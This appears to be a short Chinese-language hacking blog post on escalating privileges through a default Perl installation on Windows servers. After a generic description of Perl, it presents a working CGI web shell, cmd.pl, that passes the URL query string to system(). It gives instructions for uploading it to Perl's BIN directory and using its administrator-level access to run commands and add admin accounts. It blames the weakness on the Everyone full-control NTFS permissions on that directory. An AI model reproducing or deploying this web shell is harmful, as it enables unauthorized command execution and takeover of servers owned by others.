利用Perl提权

 Perl 就是 Practical Extraction and Reporting Language 的简称,是一种最广泛应用于语法分析和 World Wide Web 的编程语言。它起源于 awk、C、sh 和 sed 语言,然而,它的应用开发远比其他任何一种面向对象编程语言更加容易。

  Perl 语言由 Larry Wall 创建,最初作为一种实用解释语言。其主要功能最初是用于分析基于文本的数据和生成这些数据的统计或结果。随着 Internet 的普及推广,我们已经感受到 Perl 在 CGI 编程和处理格式数据上的强大功能。由于 Perl 对 process、文档和文字有很强的处理、变换能力,因此凡是有关快速原型设计、系统工具、软件工具、系统管理、资料库连结、图像程式设计、网络连结和 WWW 程式设计等之类的任务,都特别适合用 Perl 来完成

c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)cgiwebshell放到PERL目录下的BIN目中

#!/usr/bin/perl

binmode(STDOUT);

syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);

$_ = $ENV{QUERY_STRING};

s/%20/ /ig;

s/%2f/\//ig;

$execthis = $_;

syswrite(STDOUT, "

\r\n", 13);open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";system($execthis);syswrite(STDOUT, "\r\n\r\n", 17);

close(STDERR);

close(STDOUT);

exit;

保存为cmd.pl上传至BIN目录执行,

(如果不能运行,可以试试改为cgi 扩展呢,把刚才的 pl文件改为 cgi文件)

在IE浏览窗口中提交提交 http://anyhost//cmd.pl?dir 即可开始执行命令,请注意这个SHELL是具有ADMIN权限的,能够添加帐号并加入管理员组,书写规则是在?后加入你需要执行的命令.

为什么安装PERL能导至黑客在服务器上提升权限呢?原理很简单,因为PERL在默认安装时BIN目录是具有EVERYONE的完全控制权限和CGI执行权限的,所以能执行任意命令,这是一个NTFS权限导至的提权漏洞.



文章来自: 本站原创
Tags:
评论: 0 | 查看次数: 8561